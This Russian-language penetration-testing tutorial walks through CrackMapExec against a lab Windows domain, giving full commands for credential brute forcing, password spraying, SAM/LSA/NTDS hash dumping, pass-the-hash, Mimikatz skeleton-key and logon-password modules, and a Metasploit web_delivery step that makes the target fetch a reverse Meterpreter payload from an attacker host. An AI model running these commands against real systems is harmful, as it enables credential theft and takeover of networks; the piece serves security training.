- Что такое CrackMapExec
- Стенд для использования CrackMapExec
- Установка CrackMapExec
- Использование CrackMapExec
- Перечисление IP-адресов сети
- Перечисление пользователей
- Перечисление групп пользователей
- Поиск текстовых файлов
- Поиск log-файлов
- Обнаружение общих ресурсов (шар)
- Просмотр активных сессий
- Просмотр политики паролей
- Список логических дисков
- Брутфорс имени пользователя
- Брутфорс пароля
- Атака по словарю
- Дампинг учетных данных SAM
- Дампинг учетных данных LSA
- Дамп учетных данных NTDS (DRSUAPI)
- Дамп учетных данных NTDS (VSS)
- Pass the Hash
- Password Spraying
- Удаленное выполнение команд
- Удаленное выполнение команды atexec
- Удаленное выполнение команды wmiexec
- Модули
- Модули Mimikatz
- Модуль Wdigest
- Модуль enum_dns
- Модуль web_delivery
- Заключение
В этой статье мы научимся использовать CrackMapExec на Kali Linux. Я использовал этот инструмент много раз, как для атаки, так и в целях защиты от атак и могу подробно о нем рассказать.
Еще по теме: Способы прописаться в системе при пентесте
Что такое CrackMapExec
Crackmapexec, также известный как CME, представляет собой инструмент пост-эксплуатации. Разработчик инструмента описывает его как «швейцарский армейский нож для тестирования сетей на проникновение», что, на мой взгляд, является подходящим описанием.
Тулза может перечислять авторизированный пользователей и индексировать общие папки SMB, выполнять атаки в стиле psexec и реализовывать автоматические инъекции Mimikatz / Shellcode / DLL в память используя Powershell, дампинг NTDS.dit и многое другое.
Стенд для использования CrackMapExec
Для примера использовался следующий стенд:
- Цель — Windows Server
- Атакующая машина — Kali Linux
Конфигурация систем:
Сервер Windows
- Домен — ignite.local
- Пользователь — Administrator
- Пароль — Ignite@987
- IP-адрес — 192.168.1.105
Клиент Windows
- ОС — Windows 10
- IP-адрес — 192.168.1.106
- Пользователи — kavish, geet, aarti, yashika
- Пароль — Password@1
Установка CrackMapExec
Установка очень проста:
1 |
apt install crackmapexec |
Если приведенная выше команда вызывает какие-либо проблемы, попробуйте обновить Kali Linux.
Использование CrackMapExec
Перечисление IP-адресов сети
Для обнаружения IP-адресов целевой сети, используйте команду:
1 |
crackmapexec smb 192.168.1.0/24 |
Синтаксис CrackMapExec выглядит следующим образом:
1 |
crackmapexec <протокол> <целевой_IP> -u ‘<имя пользователя>‘ -p ‘<пароль>‘ |
Пример команды:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' |
Перечисление пользователей
Для перечисления всех пользователей целевой системы, используется параметр —user:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users |
Перечисление групп пользователей
Для получения информации о группах целевой системы:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups |
Поиск текстовых файлов
Чтобы получить всю информацию о текстовых файлах на целевой системе:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern txt |
Поиск log-файлов
Точно так же, чтобы получить информацию о файлах журнала:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern log |
Обнаружение общих ресурсов (шар)
Чтобы узнать, какие папки являются общими и получить информацию о правах доступа:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares |
Просмотр активных сессий
Для просмотра активных сессий:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions |
Просмотр политики паролей
Чтобы узнать политики паролей, которые были применены в целевой системе:
1 |
crackmapexec smb 192.168.1.105 -u 'Администратор' -p 'Ignite@987' --pass-pol |
Выполнение вышеуказанной команды отобразит подробную информацию о политиках паролей.
Список логических дисков
Для получения информации о логических дисках:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks |
Брутфорс имени пользователя
С помощью CrackMapExec вы также можете брутить имя пользователя. Можно указать один хост или диапазон IP-адресов:
1 |
crackmapexec smb 192.168.1.0/24 -u "kavish" "Administrator" -p "Ignite@987" |
Брутфорс пароля
CME позволяет брутить пароли определенной системы или всей сети. Вот пример брута пароля всех машин в сети:
1 |
crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987" |
Атака по словарю
Для атаки могут быть использованы, как пользовательские, так и созданные словари. В этом примере будет использован созданный словарь, как для имен пользователей, так и для паролей.
Эта атака может быть проведена против всех машин сети или против одной системы. Использование диапазона IP-адресов:
1 |
crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt |
Дампинг учетных данных SAM
SAM — это сокращение от Security Account Manager, которое управляет всеми учетными записями пользователей и их паролями. Механизм похож на базу данных. Все пароли хэшируются, а затем сохраняются в SAM.
Используя CME, мы можем сдампим хеши учетных данных SAM:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam |
Дампинг учетных данных LSA
Локальный центр безопасности (LSA) — это защищенный системный процесс, который аутентифицирует и регистрирует пользователей на локальном компьютере. Учетные данные домена используются операционной системой и аутентифицируются локальным администратором безопасности (LSA). Следовательно, LSA имеет доступ к учетным данным, и мы воспользуемся этим фактом для сбора учетных данных с помощью CME:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa |
Дамп учетных данных NTDS (DRSUAPI)
NTDS расшифровывается как New Technologies Directory Services, а DIT расшифровывается как Информационное дерево каталогов. Этот файл работает в роли базы данных Active Directory и хранит все ее данные, включая все учетные данные.
Чтобы сдампить хэши NTDS, используйте команду:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi |
Дамп учетных данных NTDS (VSS)
Другой способ получить учетные данные из NTDS — через VSS, т. е. теневую копию тома:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss |
Pass the Hash
После того, как мы сдампили хеш, нужно применить какой-нибудь другой инструмент для передачи хеша. С CME можно использовать команду:
1 |
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 |
Про атаку Pass the Hash:
- Атака Pass the hash Pass the ticket
- Pass the Hash средствами Metasploit PsExec
- Pass the Hash с помощью PTH-WinExe на Kali Linux
Password Spraying
Password Spraying — это атака, при которой мы получаем доступ к учетным записям, используя одни и те же пароли для одних и тех же имен пользователей, пока не найдем правильный. С CME мы можем выполнять атаку Password Spraying двумя способами.
В первом методе мы будем использовать параметр --rid-brute. Для использования этого параметра синтаксис будет следующим:
1 |
crackmapexec <протокол> <IP-адрес> -u <путь к txt-файлу> -p ‘<пароль>‘ –rid-brute |
Следуя приведенному выше синтаксису, команда выглядит так:
1 |
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-brute |
Другой способ Password Spraying — использование -continue-on-success, и мы будем использовать этот параметр с нашим пользовательским словарем, в котором есть все имена пользователей. Содержимое словаря показано на изображении ниже с помощью команды cat.
Для атаки Password Spraying используется команда:
1 |
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-success |
См. также Лучшие инструменты для атаки Password Spraying.
Удаленное выполнение команд
Теперь, когда мы изучили различные способы получения пароля, давайте воспользуемся им, поскольку CME позволяет удаленно выполнять команды.
Мы можем использовать команду quser для получения информации о пользователях. И команду logoff для выхода из целевой системы.
Синтаксис для удаленного выполнения команд:
1 |
<strong>crackmapexec <протокол> <IP_адрес> -u ‘<имя пользователя>‘ -p ‘<пароль>‘ -x ‘<команда>‘</strong> |
Следуя приведенному выше синтаксису, команды будут таким образом:
1 2 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser' crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'logoff 2' |
И, как вы можете видеть на изображении выше, наши команды успешно выполняются.
Удаленное выполнение команды atexec
Следующая команда выполнит команду с помощью службы планировщика заданий:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method atexec |
Удаленное выполнение команды wmiexec
Следующая команда выполнит команду с помощью службы инструментария управления Windows (WMI):
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method wmiexec |
Для выполнения задач на удаленном компьютере с помощью CME, можно также использовать командлеты PowerShell:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTable' --exec-method wmiexec |
Это реализуется благодаря возможности удаленного выполнения команд через WMI
Мы также можем напрямую запустить команду WMI, используя CME. Для этого используется параметр –wmi:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount" |
Модули
Если из вышеперечисленных вариантов у вас нет соблазна добавить CME в свой набор инструментов, держу пари, что следующее убедит вас в кратчайшие сроки. CME также предоставляет различные модули, которые используют сторонние инструменты, такие как Mimikatz, Metasploit Framework и т. д.
Для просмотра всех доступных моделей CME, используйте команду:
1 |
crackmapexec smb -L |
Теперь давайте разберемся, как их использовать.
Модули Mimikatz
Во-первых, мы запустим Mimikatz напрямую как модуль, не передавая ему никаких других аргументов. Синтаксис такой:
1 |
Crackmapexec <протокол> <IP-адрес> -u <путь к txt-файлу с именем пользователя> -p ‘<пароль> -M <модуль> |
Пример команды:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz |
Так что теперь, как вы можете видеть на изображении выше, запуск модуля Mimikatz без каких-либо других аргументов отобразит системные учетные данные в виде хешей.
Теперь давайте попробуем передать в качестве аргумента команду Mimikatz:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='privilege::debug' |
Итак, команда отлаживает все привилегии, как показано на изображении выше. Теперь попробуем запустить другую команду:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords' |
Следовательно, выполнение приведенной выше команды отобразит все хеши пароля для входа в систему. Таким образом, вы также можете указать дополнительный аргумент:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='misc::skeleton' |
Теперь мы можем использовать различные методы получения доступа к целевой машине.
См. также Как используя Mimikatz на Kali Linux извлечь хеши Windows
Модуль Wdigest
Еще один модуль, который нам представляет CME, — это wdigest. Этот модуль создаст ключ реестра, благодаря которому пароли хранятся в памяти. Чтобы использовать этот модуль, введите следующую команду:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable |
И, как вы можете видеть на изображении выше, ключ реестра создан.
Модуль enum_dns
Этот модуль собирает всю информацию о целевом DNS и отображает ее в консоли. Чтобы использовать этот модуль, используйте следующую команду:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns |
И, как вы можете видеть на изображении выше, вся информация сбрасывается на консоль.
Модуль web_delivery
Для этого модуля сначала откройте Metasploit Framework с помощью команды msfconsole, а затем, для запуска web_delivery, выполните команды:
1 2 3 4 5 6 |
use exploit/multi/script/web_delivery set target 2 set payload windows/meterpreter/reverse_tcp set lhost set srvhost exploit |
Это создаст ссылку, как показано на изображении выше. Скопируйте эту ссылку и удаленно выполните ее на целевой машине через CME, используя следующую команду:
1 |
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rlNdPdZQMeYWLF |
И как только приведенная выше команда будет выполнена, вы получите сессию Meterpreter и сможете удаленно манипулировать компьютером.
См. также Полный список основных команд Meterpreter
Заключение
Перечисление (Enumeration) — сложная задача в любом тестировании на проникновение. Но, как видите, с помощью CrackMapExec, это реализуется намного проще и быстрее. Горизонтальное перемещение «Lateral Movement» может занять много времени, если оно не выполняется должным образом. Но с помощью CME это делать настолько просто, что может быть по силам любому скрипт-кидди или начинающему хакеру.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Проброс портов при пентесте и постэксплуатации
- Организация GUI в пентесте при постэксплуатации Windows